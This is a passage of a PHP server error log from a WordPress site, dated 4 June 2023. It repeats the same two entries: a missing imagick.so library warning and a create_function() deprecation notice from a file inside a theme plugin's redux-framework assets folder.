directory)) in Unknown on line 0 [04-Jun-2023 05:18:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:19:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:19:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:39:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:39:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 06:39:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 06:39:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 07:41:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 07:41:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 08:42:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 08:42:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 09:43:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 09:43:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 10:44:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 10:44:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 10:58:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 10:58:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 10:58:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 10:58:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 10:59:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 10:59:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 10:59:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 10:59:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:00:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:00:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:00:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:00:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:01:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:01:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:01:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:01:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:02:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:02:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:03:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:03:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:03:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:03:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:03:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:03:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:04:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:04:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:04:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:04:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:05:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:05:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:06:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:06:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:06:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:06:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:07:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:07:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:11:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:11:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:12:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:12:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:12:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:12:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:12:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:12:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:13:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:13:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:13:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:13:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:13:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:13:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:14:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:14:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:14:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:14:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:15:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:15:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:15:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:15:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:15:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:15:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:16:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:16:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:16:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:16:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:16:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:16:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:17:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:17:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:17:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:17:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:18:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:18:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 11:45:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 11:45:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 12:45:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 12:45:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 13:46:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 13:46:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 14:48:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 14:48:17 UTC] PHP Deprecated: Function create_function() is 